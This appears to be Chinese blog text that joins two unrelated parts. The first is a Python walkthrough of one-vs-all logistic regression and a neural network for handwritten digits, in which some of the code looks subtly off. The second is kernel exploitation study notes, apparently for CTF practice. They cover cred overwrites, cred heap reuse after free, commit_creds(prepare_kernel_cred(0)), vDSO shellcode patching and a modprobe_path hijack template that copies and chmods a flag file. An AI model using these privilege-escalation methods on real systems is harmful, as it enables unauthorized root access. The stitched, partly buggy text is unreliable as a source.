0%

实验介绍

在本练习中,您将实现一对多逻辑回归和神经网络来识别手写数字

  • ex3.m - Octave/MATLAB 脚本帮助您完成第1部分
  • ex3 nn.m - Octave/MATLAB 脚本帮助您完成第2部分
  • ex3data1.mat - 手写数字训练集
  • ex3weights.mat - 神经网络训练的初始权重
  • submit.m - 提交脚本,将您的解决方案发送到我们的服务器
  • displayData.m - 帮助可视化数据集的函数
  • fmincg.m - 功能最小化例行程序(类似于fminunc)
  • sigmoid.m - Sigmoid 函数(假设陈述)
  • [?] lrCostFunction.m - 逻辑回归成本函数
  • [?] oneVsAll.m - 训练一个一对多类分类器
  • [?] predictOneVsAll.m - 使用一对多类分类器进行预测
  • [?] predict.m - 神经网络预测函数

Multi-class Classification(多类分类)

在本练习中,您将使用逻辑回归和神经网络识别手写数字(从0到9)

  • 如今,自动手写数字识别被广泛使用——从识别信封上的邮政编码到识别银行支票上的金额
  • 本练习将向您展示如何将所学的方法用于此分类任务
  • 在练习的第一部分中,您将扩展以前的逻辑回归实现,并将其应用于 one-vs-all(一对多)分类

ex3data1.mat 中提供了一个数据集包含5000个手写数字训练示例(这个 mat 格式意味着数据已以 Octave/MATLAB 矩阵格式保存,而不是像 csv-file 那样的 ASCII 格式),可以使用 load 命令将这些矩阵直接读入程序,加载后,正确尺寸和值的矩阵将出现在程序的内存中,矩阵将已经命名,因此不需要为它们指定名称

  • ex3data1.mat 中有5000个训练示例,每个样例都是一个“手写数字”
  • 其中每个训练示例的“手写数字”是20像素乘20像素灰度图像,每个像素由一个浮点数表示,表示该位置的灰度强度
  • 20×20 的像素网格被“展开”成400维向量,这些训练示例中的每一个都成为我们的数据矩阵X中的一行
  • 这给了我们一个 5000×400 的矩阵X,其中每一行都是“手写数字”图像的训练示例
  • 训练集的第二部分是 5000 维向量y,其中包含训练集的标签
  • 为了与 Octave/MATLAB 索引更兼容,在没有零索引的情况下,我们将数字0映射到值10,因此,“0”数字标记为“10”,而数字“1”至“9”按其自然顺序标记为“1”至“9”

Visualizing the data(可视化数据)

您将首先可视化训练集的一个子集

  • 在 ex3.m 的第1部分:代码从X中随机选择100行,并将这些行传递给 displayData 函数
  • 此函数将每行映射到 20x20 像素的灰度图像,并一起显示图像
  • 我们已经提供了 displayData 函数,我们鼓励您检查代码,看看它是如何工作的,运行此步骤后,应该会看到一个图像

先看一下 displayData 的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import matplotlib.pyplot as plt
import numpy as np

def display_data(x):
(m,n) = x.shape
# 设置每个小图例的宽度和高度
width = np.round(np.sqrt(n)).astype(int)
height = (n / width).astype(int)

# 设置图片的行数和列数
rows = np.floor(np.sqrt(m)).astype(int)
cols = np.ceil(m / rows).astype(int)

# 设置图例之间的间隔
pad = 1

# 初始化图像数据
display_array = -np.ones((pad + rows*(height+pad), pad + cols*(width + pad)))

# 把数据按行和列复制进图像中(10x10的表格)
current_image = 0
for j in range(rows):
for i in range(cols):
if current_image > m:
break
max_val = np.max(np.abs(x[current_image,:]))
display_array[pad + j*(height + pad) + np.arange(height),pad + i*(width + pad) + np.arange(width)[:,np.newaxis]] = x[current_image,:].reshape((height,width)) / max_val
current_image += 1
if current_image > m :
break

# 显示图像
plt.figure()
# 设置图像色彩为灰度值,指定图像坐标范围
plt.imshow(display_array,cmap = 'gray',extent =[-1,1,-1,1])
plt.axis('off')
plt.title('Random Seleted Digits')
  • 把输入的图像数据X进行重新排列,显示在一个面板 figurePane 中
  • 面板中有多个小 imge 用来显示每一行数据

第一部分的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import numpy as np
import scipy.io as scio
import matplotlib.pyplot as plt

# ====== 1.读取数据和初始化 ======
data = scio.loadmat('data\ex3data1.mat') # 使用scipy.io中的函数读取mat文件,data的格式是字典

# 根据关键字,分别获得输入数据和输出的真值
X = data['X']
Y = data['y']
print(X.shape)

# 随机取出其中的100个样本,显示结果
m = X.shape[0] # m:矩阵长度
rand_indices = np.random.permutation(range(m)) # 把[0,m-1]的数据随机排序
selected = X[rand_indices[0:100],:] # 排序后取前100个样本
display_data(selected) # 显示手写数字样例
plt.show()
  • shape:读取矩阵的长度
  • permutation(X):随机排列一个序列,或者数组

绘制的图像:

Vectorizing Logistic Regression(向量化逻辑回归)

现在我们要根据数据集来训练一个模型,使机器可以识别出这些“手写数字”对应的“真正数字”,这很明显是一个分类问题,并且还是多元分类,每个样本都有 10 种可能性(“0”~“9”)

您将使用多个 one-vs-all 逻辑回归模型来构建多类分类器:

  • 因为有10个类,你需要训练10个独立的逻辑回归分类器
  • 为了提高培训的效率,确保代码具有良好的矢量化非常重要
  • 在本节中,您将实现逻辑回归的向量化版本(该版本不使用任何 for 循环)

其实在之前的实验中我们已经在使用向量化了(利用矩阵乘法来代替循环),这里实验要求使用

首先,我们先回忆一下逻辑回归-代价函数(交叉熵)的矢量版本:

因为需要求和,所以矢量版本的代码肯定有循环,但是向量版本却可以用“矩阵乘法”来替代循环:

代价函数 lr_cost_function:(带有正则化)

1
2
3
4
5
6
7
8
9
10
11
12
13
def lr_cost_function(X,Y,theta,lmd):
m = X.shape[0]
g = sigmoid(X.dot(theta))
Y = Y.reshape(Y.size)

cost = (-Y.T).dot(np.log(g)) - ((1-Y).T).dot(np.log(1-g))
cost = cost /(m) + lmd * (theta.T).dot(theta) / (2*m)

grad = (X.T).dot(g-Y)/ m
grad[0] = grad[0]
grad[1:] = grad[1:] + (lmd * theta[1:])/m

return cost,grad
  • PS:和前面 ex2 的 costfunction 相同(因为前面的实验都使用了向量化)

实现主体:

1
2
3
4
5
6
7
8
9
10
11
12
# ====== 2.向量化Logistic Rgression ======

theta_t = np.array([-2, -1, 1, 2])
X_t = np.c_[np.ones(5), np.arange(1, 16).reshape((3, 5)).T/10]
y_t = np.array([1, 0, 1, 0, 1])
lmda_t = 3
cost,grad = lr_cost_function(X_t,y_t,theta_t,lmda_t)
np.set_printoptions(formatter={'float': '{: 0.6f}'.format})
print('Cost: {:0.7f}'.format(cost))
print('Expected cost: 3.734819')
print('Gradients:\n{}'.format(grad))
print('Expected gradients:\n[ 0.146561 -0.548558 0.724722 1.398003]')
  • set_printoptions:控制Python中小数的显示精度

One-vs-all Classification(一对多分类)

接下来就要实现多元分类的逻辑回归:

在这部分练习中,您将通过训练多个正则化逻辑回归分类器来实现一对所有分类,每个分类器对应于数据集中的K个类

1
2
3
4
5
6
7
8
# ====== 3.训练模型 ======

lmd = 0.01
num_labels = 10 # 每个样本有10种可能
all_theta = one_vs_all(X,Y,num_labels,lmd) # 模型拟合
pred = predict_one_vs_all(X,all_theta) # 预测手写数字
Y = Y.reshape(Y.size) # 这里一定要把Y.shape变成横向量(之前是竖向量)
print('Training set accurayc:{}'.format(np.mean(pred == Y)*100)) # 计算精度

模型拟合的具体过程在 one_vs_all 函数中,看看该函数的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import scipy.optimize as opt
import numpy as np

from sigmoid import sigmoid
from lrCostFunction import lr_cost_function

def one_vs_all(X,Y,num_labels,lmd):
X = np.c_[np.ones(X.shape[0]),X] # 给数据添加偏置维度
n = X.shape[1]
all_theta = np.zeros((num_labels,n)) # 保存所有theta的集合
for i in range(1,num_labels+1):
init_theta = np.zeros((n,1));
y = (Y == i).astype(int) # Y中的值是1~10(代表可能的分类,注意:"10"代表了"0")

def cost_func(t):
return lr_cost_function(X,y,t,lmd)[0]
def grad_func(t):
return lr_cost_function(X,y,t,lmd)[1]

theta, cost, *unused = opt.fmin_bfgs(f=cost_func, fprime=grad_func, x0=init_theta, maxiter=100, full_output=True, disp=False) # 使用fminunc进行拟合
all_theta[i-1,:] = theta.T # 保存theta

return all_theta

最后看一下预测函数 predict_one_vs_all 的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def predict_one_vs_all(X,all_theta):
m = X.shape[0]
X = np.c_[np.ones(m),X]
num_labels = all_theta.shape[0] # 标签数10

# preds[m][k]是第m个样本属于k的概率
preds = sigmoid(X.dot(all_theta.T))
P = np.zeros(m)

for num in range(m):
# 找到第num行中,与该行最大值相等的列的下标,此时下标的范围是[0,9]
# label的范围是[1,10],需要把下标的值+1
# np.where()返回的是一个长度为2的元祖,保存的是满足条件的下标
# 元组中第一个元素保存的是行下标,第二元素保存的是列下标
index = np.where(preds[num,:] == np.max(preds[num,:]))
P[num] = index[0][0].astype(int) + 1

return P

Neural Networks(神经网络)

在本练习的前一部分中,您实现了多类逻辑回归来识别手写数字,然而,逻辑回归不能形成更复杂的假设,因为它只是一个线性分类器

在这部分练习中,您将使用与之前相同的训练集实现一个神经网络来识别手写数字,神经网络将能够表示形成非线性假设的复杂模型:

  • 本次实验,你们将使用我们已经训练过的神经网络的参数
  • 您的目标是实现正向传播算法,使用我们的权重进行预测(已经训练好了)
  • 在下次的实验中,您将编写学习神经网络参数的反向传播算法

神经网络简图:(具体细节就不解释了)

Model representation(模型表示)

对于本实验的神经网络架构:

这个神经网络有三层:输入层,隐藏层,输出层

  • 我们的输入是数字图像的像素值,由于图像的大小为20×20,这给了我们400个输入层单元(不包括总是输出+1的额外偏置单元)
  • 与之前一样,训练数据将加载到变量X和y中,我们已经向您提供了一组参数(θ(1),θ(2)),这些参数已经由我们训练过
  • 这些都存储在 ex3weights.mat ,并将由 ex3_nn 加载到θ1和θ2,参数的尺寸为神经网络的尺寸,第二层为25个单元,输出为10个单元(对应于10个数字类)

Feedforward Propagation and Prediction(正向传播与预测)

现在,您将为神经网络实现正向传播,您需要在 predict 中完成代码,返回神经网络的预测

你应该实现正向传播算法,为每个示例 i 计算 hθ(x(i)) 并返回相关预测(类似于“一对多”分类策略)

下面是实现过程:

  • 1.读取数据,显示随机样例(和上半部分一样)
1
2
3
4
5
6
7
8
9
# ========================= 1.读取数据,显示随机样例 ===========================
data = scio.loadmat('data\ex3data1.mat')
X = data['X']
Y = data['y'].flatten() # 返回一个一维数组
m = X.shape[0] # m:矩阵长度
rand_indices = np.random.permutation(range(m))
selected = X[rand_indices[1:100],:] # 随机取出其中的100个样本
display_data(selected) # 显示手写数字样例
plt.show()
  • 2.读取神经网络的参数()
1
2
3
4
5
6
7
8
9
# ======================= 2.读取神经网络的参数 =================================
weight = scio.loadmat('data\ex3weights.mat')
# 隐藏层有25个节点,输入数据为401维(添加了1个维度的偏置)
# 输出层有10个节点,隐藏层添加一个维度后,有25个输出
theta1 = weight['Theta1']
theta2 = weight['Theta2']

P = predict_nn(X,theta1,theta2) # 预测神经网络
print('Training set accuracy: {}'.format(np.mean(P == Y)*100)) # 计算该模型的准确度
  • 3.随机选取样本,并显示预测结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# ======================= 3.随机选取样本,并显示预测结果 =========================
rp = np.random.permutation(range(m)) # 随机排列一个序列,或者数组
for i in range(m):
print('Displaying Example image')
example = X[rp[i]]
example = example.reshape((1, example.size)) # 调节example为1x1(只有一个方框)
display_data(example) # 显示手写数字样例
plt.show()

pred = predict_nn( example,theta1, theta2) # 预测手写数字
print('Neural network prediction: {} (digit {})'.format(pred, np.mod(pred, 10)))
s = input('Paused - press ENTER to continue, q + ENTER to exit: ')
if s == 'q':
break
  • 预测函数 predict_nn 的实现:(有点不理解它为什么要这么组织代码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 根据输入的数据和参数,计算神经网络的输出
def predict_nn(X,theta1,theta2):
m = X.shape[0]
X= np.c_[np.ones(m),X]
z1 = theta1.dot(X.T) # 隐藏层的输入
z1 = np.row_stack((np.ones(z1.shape[1]),z1)) # 增加一行维度
A1 = sigmoid(z1) # 隐藏层的输出
z2 = theta2.dot(A1) # 输出层的输入
A2 = sigmoid(z2.T) # 输出层的输出

# 进行预测
P = np.zeros(m)
for num in range(m):
# 找到第num行中,与该行最大值相等的列的下标,此时下标的范围是[0,9]
# label的范围是[1,10],需要把下标的值+1
# np.where()返回的是一个长度为2的元祖,保存的是满足条件的下标
# 元组中第一个元素保存的是行下标,第二元素保存的是列下标
index = np.where(A2[num,:] == np.max(A2[num,:]))
P[num] = index[0][0].astype(int) + 1

return P
  • where(condition):满足条件(condition),输出满足条件元素的坐标
  • max(array):返回 array 的最大值

显示图片:

预期结果:

1
Neural network prediction: [4.] (digit [4.])

POSIX 简析

POSIX:可移植操作系统接口( Portable Operating System Interface,缩写为 POSIX )

POSIX是一套标准,为了提高Unix的 兼容性应用程序可移植性 而诞生,这套标准涵盖了很多方面,比如:Unix系统调用的C语言接口,shell程序和工具,线程及网络编程

  • POSIX兼容也就指定了接口函数兼容,但是并不管API具体如何实现

Kernel 简析

Kernel 是一个程序,是操作系统底层用来管理上层软件发出的各种请求的程序,Kernel 将各种请求转换为指令,交给硬件去处理,简而言之,Kernel 是连接软件与硬件的中间层

Kernel 主要提供两个功能,与硬件交互,提供应用运行环境

在 intel 的 CPU 中,会将 CPU 的权限分为 Ring 0,Ring 1,Ring 2,Ring 3,四个等级,权限依次递减,高权限等级可以调用低权限等级的资源

在常见的系统(Windows,Linux,MacOS)中,内核处于 Ring 0 级别,应用程序处于 Ring 3 级别

Kernel 信息获取

先关闭 kaslr:

1
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1"

在 root 权限下启动 kernel:

1
2
/ # lsmod 
d3kheap 16384 2 - Live 0xffffffffc0133000 (OE)
1
2
3
4
/ # grep anon_pipe_buf_ops /proc/kallsyms
ffffffff88c3fe40 r anon_pipe_buf_ops
/ # grep commit_creds /proc/kallsyms
ffffffff87cd25c0 T commit_creds

Kernel 提权

内核提权指的是普通用户可以获取到 root 用户的权限,访问原先受限的资源,这里从两种角度来考虑如何提权

  • 改变自身:通过改变自身进程的权限,使其具有 root 权限
  • 改变别人:通过影响高权限进程的执行,使其完成我们想要的功能

Change Self:

内核会通过进程的 task_struct 结构体中的 cred 指针来索引 cred 结构体,然后根据 cred 的内容来判断一个进程拥有的权限,如果 cred 结构体成员中的 uid-fsgid 都为 0,那一般就会认为进程具有 root 权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
}

因此,提权方式为:

  • 直接修改 cred 结构体的内容(需要先定位 cred,然后将其修改)
  • 修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred

Change Others:

如果我们可以改变特权进程的执行轨迹,也可以实现提权,这里我们从以下角度来考虑如何改变特权进程的执行轨迹:

  • 改数据
  • 改代码

修改 cred 结构体的内容

想要修改 cred 结构体,首先需要确定该结构体的位置:

cred定位-直接扫描 cred

cred 结构体的最前面记录了各种 id 信息,对于一个普通的进程而言,uid-fsgid 都是执行进程的用户的身份,因此我们可以通过 扫描内存 来定位 cred

  • 在实际定位的过程中,我们可能会发现很多满足要求的 cred,这主要是因为 cred 结构体可能会被拷贝、释放
  • 一个很直观的想法是在定位的过程中,利用 usage 不为 0 来筛除掉一些 cred,但仍然会发现一些 usage 为 0 的 cred
  • 这是因为 cred 从 usage 为 0, 到释放有一定的时间
  • 此外,cred 是使用 rcu 延迟释放的

cred定位-通过task_struct间接定位

进程的 task_struct 结构体中会存放指向 cred 的指针,因此我们可以:

  • 定位当前进程 task_struct 结构体的地址
  • 根据 cred 指针相对于 task_struct 结构体的偏移计算得出 cred 指针存储的地址
  • 获取 cred 具体的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
struct task_struct {
volatile long state; // 说明了该进程是否可以执行,还是可中断等信息
unsigned long flags; // Flage 是进程号,在调用fork()时给出
int sigpending; // 进程上是否有待处理的信号
mm_segment_t addr_limit; // 进程地址空间,区分内核进程与普通进程在内存存放的位置不同
/* 0-0xBFFFFFFF for user-thead */
/* 0-0xFFFFFFFF for kernel-thread */
volatile long need_resched; // 调度标志,表示该进程是否需要重新调度,若非0,则当从内核态返回到用户态,会发生调度
int lock_depth; // 锁深度
long nice; // 进程的基本时间片
unsigned long policy; // 进程的调度策略,有三种,实时进程:SCHED_FIFO,SCHED_RR, 分时进程:SCHED_OTHER
struct mm_struct *mm; // 进程内存管理信息
int processor;
unsigned long cpus_runnable, cpus_allowed; // 若进程不在任何CPU上运行, cpus_runnable 的值是0,否则是1(这个值在运行队列被锁时更新)
struct list_head run_list; // 指向运行队列的指针
unsigned long sleep_time; // 进程的睡眠时间
struct task_struct *next_task, *prev_task; // 用于将系统中所有的进程连成一个双向循环链表,其根是init_task
struct mm_struct *active_mm;
struct list_head local_pages; // 指向本地页面
unsigned int allocation_order, nr_local_pages;
struct linux_binfmt *binfmt; // 进程所运行的可执行文件的格式
int exit_code, exit_signal;
int pdeath_signal; // 父进程终止时向子进程发送的信号
unsigned long personality;
int did_exec:1; // Linux可以运行由其他UNIX操作系统生成的符合iBCS2标准的程序
pid_t pid; /* 进程标识符,用来代表一个进程 */
pid_t pgrp; /* 进程组标识,表示进程所属的进程组 */
pid_t tty_old_pgrp; /* 进程控制终端所在的组标识 */
pid_t session; /* 进程的会话标识 */
pid_t tgid;
int leader; // 表示进程是否为会话主管
struct task_struct *p_opptr,*p_pptr,*p_cptr,*p_ysptr,*p_osptr;
struct list_head thread_group; // 线程链表
struct task_struct *pidhash_next; // 用于将进程链入HASH表
struct task_struct **pidhash_pprev;
wait_queue_head_t wait_chldexit; // 供wait4()使用
struct completion *vfork_done; // 供vfork()使用
unsigned long rt_priority; // 实时优先级,用它计算实时进程调度时的weight值

/* it_real_value,it_real_incr用于REAL定时器(单位为jiffies):
系统根据it_real_value设置定时器的第一个终止时间,在定时器到期时,向进程发送SIGALRM信号,同时根据it_real_incr重置终止时间 */

/* it_prof_value,it_prof_incr用于Profile定时器(单位为jiffies):
当进程运行时,不管在何种状态下,每个tick都使it_prof_value值减一,当减到0时,向进程发送
信号SIGPROF,并根据it_prof_incr重置时间 */

/* it_virt_value,it_virt_value用于Virtual定时器(单位为jiffies):
当进程运行时,不管在何种状态下,每个tick都使it_virt_value值减一,当减到0时,向进程发送信号SIGVTALRM,根据it_virt_incr重置初值 */

unsigned long it_real_value, it_prof_value, it_virt_value;
unsigned long it_real_incr, it_prof_incr, it_virt_value;
struct timer_list real_timer; // 指向实时定时器的指针
struct tms times; // 记录进程消耗的时间
unsigned long start_time; // 进程创建的时间
long per_cpu_utime[NR_CPUS], per_cpu_stime[NR_CPUS]; // 记录进程在每个CPU上所消耗的用户态时间和核心态时间

/* 内存缺页和交换信息:
min_flt,maj_flt:累计进程的次缺页数(Copy on Write页和匿名页)和主缺页数(从映射文件或交换
设备读入的页面数)
nswap:记录进程累计换出的页面数,即写到交换设备上的页面数
cmin_flt,cmaj_flt,cnswap:记录本进程为祖先的所有子孙进程的累计次缺页数,主缺页数和换出页面数,在父进程回收终止的子进程时,父进程会将子进程的这些信息累计到自己结构的这些域中
*/
unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
int swappable:1; // 表示进程的虚拟地址空间是否允许换出

/* 进程认证信息:
uid,gid:为运行该进程的用户的用户标识符和组标识符,通常是进程创建者的uid,gid
euid,egid:为有效uid,gid
fsuid,fsgid:为文件系统uid,gid,这两个ID号通常与有效uid,gid相等,在检查对于文件系统的访问权限时使用他们
suid,sgid:为备份uid,gid
*/
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
int ngroups; // 记录进程在多少个用户组中
gid_t groups[NGROUPS]; // 记录进程所在的组
kernel_cap_t cap_effective, cap_inheritable, cap_permitted; // 进程的权能,分别是有效位集合,继承位集合,允许位集合
int keep_capabilities:1;
struct user_struct *user;
struct rlimit rlim[RLIM_NLIMITS]; // 与进程相关的资源限制信息
unsigned short used_math; // 是否使用FPU
char comm[16]; // 进程正在运行的可执行文件名
int link_count, total_link_count; // 文件系统信息
struct tty_struct *tty; // 指向进程所在的控制终端,如果不需要控制终端,则该指针为空
unsigned int locks;
struct sem_undo *semundo; // 进程在信号灯上的所有undo操作
struct sem_queue *semsleeping; // 当进程因为信号灯操作而挂起时,他在该队列中记录等待的操作
struct thread_struct thread; // 进程的CPU状态,切换时,要保存到停止进程的task_struct中
struct fs_struct *fs; // 文件系统信息
struct files_struct *files; // 打开文件信息
spinlock_t sigmask_lock; // 信号处理函数
struct signal_struct *sig; // 信号处理函数
sigset_t blocked; // 进程当前要阻塞的信号,每个信号对应一位
struct sigpending pending; // 进程上是否有待处理的信号
unsigned long sas_ss_sp;
size_t sas_ss_size;
int (*notifier)(void *priv);
void *notifier_data;
sigset_t *notifier_mask;
u32 parent_exec_id;
u32 self_exec_id;
spinlock_t alloc_lock;
void *journal_info;
};

cred定位-通过comm间接定位

comm 用来标记可执行文件的名字,位于进程的 task_struct 结构体中,我们可以发现 comm 其实在 cred 的正下方,所以我们也可以先定位 comm ,然后定位 cred 的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    /* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif

/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];

然而,在进程名字并不特殊的情况下,内核中可能会有多个同样的字符串,这会影响搜索的正确性与效率,因此,我们可以使用 prctl 设置进程的 comm 为一个特殊的字符串,然后再开始定位 comm

cred间接定位-UAF使用同样堆块

虽然我们确实想要修改 cred 的内容,但是不一定非得知道 cred 的具体位置,我们只需要能够修改 cred 即可

如果我们在进程初始化时能控制 cred 结构体的位置,并且我们可以在初始化后修改该部分的内容,那么我们就可以很容易地达到提权的目的,这里给出一个典型的例子:

  • 申请一块与 cred 结构体大小一样的堆块
  • 释放该堆块
  • fork 出新进程,恰好使用刚刚释放的堆块
  • 此时,修改 cred 结构体特定内存,从而提权

cred修改

在具体修改时,我们可以使用如下方式:

  • 修改 cred 指针为内核镜像中已有的 init_cred 的地址(这种方法适合于我们能够直接修改 cred 指针以及知道 init_cred 地址的情况)
  • 伪造一个 cred,然后修改 cred 指针指向该地址即可(这种方式比较麻烦,一般并不使用)
  • 使用 commit_creds(prepare_kernel_cred(0)) 来进行提权,该方式会自动生成一个合法的 cred,并定位当前线程的 task_struct 的位置,然后修改它的 cred 为新的 cred(该方式比较适用于控制程序执行流后使用,例如ROP后)

改变特权进程的执行轨迹

如果我们可以改变特权进程的执行轨迹,也可以实现提权,这里我们从以下角度来考虑如何改变特权进程的执行轨迹:改数据,改代码

改数据-符号链接

如果一个 root 权限的进程会执行一个符号链接的程序,并且该符号链接或者符号链接指向的程序可以由攻击者控制,攻击者就可以实现提权

改数据-利用 call_usermodehelper

修改 modprobe_path 实现提权的基本流程如下:

  • 获取 modprobe_path 的地址
  • 修改 modprobe_path 为指定的程序(当前进程)
  • 触发执行 call_modprobe,从而实现提权 ,这里我们可以利用以下几种方式来触发:
    • 执行一个非法的可执行文件,非法的可执行文件需要满足相应的要求
    • 使用未知协议来触发

使用 modprobe_path 的模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
// step 1: 将modprobe_path修改为目标值

// step 2: 创建相关文件
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag\ncat flag' > /home/pwn/catflag.sh");
system("chmod +x /home/pwn/catflag.sh");

// step 3.1: 使用未知的可执行文件触发它
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");

// step 3.2: 使用未知协议触发它
socket(AF_INET,SOCK_STREAM,132);
  • 由于 modprobe_path 的取值是确定的,所以我们可以直接扫描内存,寻找对应的字符串,这需要我们具有扫描内存的能力
  • 考虑到 modprobe_path 相对于内核基地址的偏移是固定的,我们可以先获取到内核的基地址,然后根据相对偏移来得到 modprobe_path 的地址

改数据-修改 poweroff_cmd

  • 获取 poweroff_cmd 的地址
  • 修改 poweroff_cmd 为指定的程序(当前进程)
  • 劫持控制流执行 __orderly_poweroff

关于如何定位 poweroff_cmd,我们可以采用类似于定位 modprobe_path 的方法

改代码-修改 vDSO 代码

内核中 vDSO 的代码会被映射到所有的用户态进程中,如果有一个高特权的进程会周期性地调用 vDSO 中的函数,那我们可以考虑把 vDSO 中相应的函数修改为特定的 shellcode,当高权限的进程执行相应的代码时,我们就可以进行提权

  • 在早期的时候,Linux 中的 vDSO 是可写的,考虑到这样的风险,Kees Cook 提出引入 post-init read-only 的数据,即将那些初始化后不再被写的数据标记为只读,来防御这样的利用

通过修改 vDSO 进行提权的基本方式如下:

  • 定位 vDSO(IDA中查看为:raw_data)
  • 修改 vDSO 的特定函数为指定的 shellcode
  • 等待触发执行 shellcode

这里我们着重关注下如何定位 vDSO:

在 IDA 中定位:

  • 在 ida 里定位 init_vdso 函数的地址
1
2
3
4
5
6
7
8
9
10
__int64 init_vdso()
{
init_vdso_image(&vdso_image_64 + 0x20000000);
init_vdso_image(&vdso_image_x32 + 0x20000000);
cpu_maps_update_begin();
on_each_cpu((char *)startup_64 + 0x100003EA0LL, 0LL, 1LL);
_register_cpu_notifier(&sdata + 536882764);
cpu_maps_update_done();
return 0LL;
}
  • 进入“vdso_image_64”或者“vdso_image_x32”后,就可以看到“raw_data”了
1
2
3
.rodata:FFFFFFFF81A01300                 public vdso_image_64
.rodata:FFFFFFFF81A01300 vdso_image_64 dq offset raw_data ; DATA XREF: arch_setup_additional_pages+18↑o
.rodata:FFFFFFFF81A01300 ; init_vdso+1↓o

在内存中定位:

  • vDSO 其实是一个 ELF 文件,具有 ELF 文件头,同时,vDSO 中特定位置存储着导出函数的字符串,因此我们可以根据这两个特征来扫描内存,定位 vDSO 的位置
  • 考虑到 vDSO 相对于内核基地址的偏移是固定的,我们可以先获取到内核的基地址,然后根据相对偏移来得到 vDSO 的地址

Kernel 目录结构

通常一个文件系统映像(core.cpio)解压以后有如下目录/文件:

1
2
3
➜  core ls
bin etc init lib64 proc sbin tmp vmlinux
core.ko lib linuxrc root sys usr
  • bin目录:普通用户使用的二进制文件,包括了各种终端命令
  • sbin目录:超级用户专用的二进制代码存放目录,主要用于系统管理
  • usr目录:usr 是 unix shared resources(共享资源) 的缩写,用户的很多应用程序和文件都放在这个目录下

    • /usr/bin:普通用户在后期安装的一些软件的运行脚本
    • /usr/sbin:存放了超级用户使用的,对于boot启动时非必须的二进制程序文件
  • etc目录:配置文件目录
  • sys目录:包含硬件设备的驱动程序信息(一般为NULL)
  • proc文件:proc虚拟文件系统在内核空间和用户空间之间打开了一个通信窗口(一般为NULL)
  • init文件:初始化脚本(拥有关键信息)
  • lib64目录:包含大量库文件(通常 lib32,lib64 只会有一个,而 lib 是其中一个的符号链接)
  • lib目录:包含基本的共享库和内核模块,arch(架构),drivers(驱动),fs(文件系统),net(网络)
  • tmp目录:用于存放临时文件(一般为NULL)
  • vmlinux文件:静态链接的可执行文件格式的 Linux 内核,分析的目标之一
  • core.ko文件:驱动文件,分析的目标之一(文件名可能不是“core”,主要看这个“ko”后缀)
  • linuxrc链接:链接目标 [bin/busybox]
  • root目录:root用户使用的目录,通常装有“flag”

驱动函数

当我们用 IDA 分析一个驱动文件时,会得到以下函数:

这些函数就是驱动函数,也被称为 ioctl 函数:

  • ioctl 是设备驱动程序中对设备的 I/O 通道进行管理的函数
  • ioctl 函数是文件结构中的一个属性分量,就是说如果你的驱动程序提供了对 ioctl 的支持,用户就可以在用户程序中使用 ioctl 函数控制设备的 I/O 通道
  • 在驱动程序中实现的 ioctl 函数体内,实际上是有一个 switch{case} 结构,每一个 case 对应一个命令码,做出一些相应的操作,怎么实现这些操作,这是由每一个程序员自己控制的,因为设备都是特定的

驱动函数是 kernel 中容易出问题的点,是该重点分析的对象

内核结构体

这里整理了一些内核常用的结构体:

1
2
3
4
5
6
7
00000000 list            struc ; (sizeof=0x28, mappedto_3)
00000000 item dq ? ; offset
00000008 mutex dq ? ; offset
00000010 field_10 dq ?
00000018 field_18 dq ?
00000020 field_20 dq ?
00000028 list ends
1
2
3
4
00000000 fd              struc ; (sizeof=0xD0, mappedto_6)
00000000 field_0 db 200 dup(?)
000000C8 using_list dq ? ; offset
000000D0 fd ends
1
2
3
4
5
6
00000000 input           struc ; (sizeof=0x10, mappedto_4)
00000000 ; XREF: add_item/r
00000000 size dq ? ; XREF: add_item+1A/r
00000000 ; add_item+35/r
00000008 ptr dq ? ; XREF: add_item+39/r
00000010 input ends
1
2
3
4
5
6
7
00000000 item            struc ; (sizeof=0x20, mappedto_5)
00000000 refcount dd ?
00000004 null dd ?
00000008 size dq ?
00000010 next dq ? ; offset
00000018 data dq ?
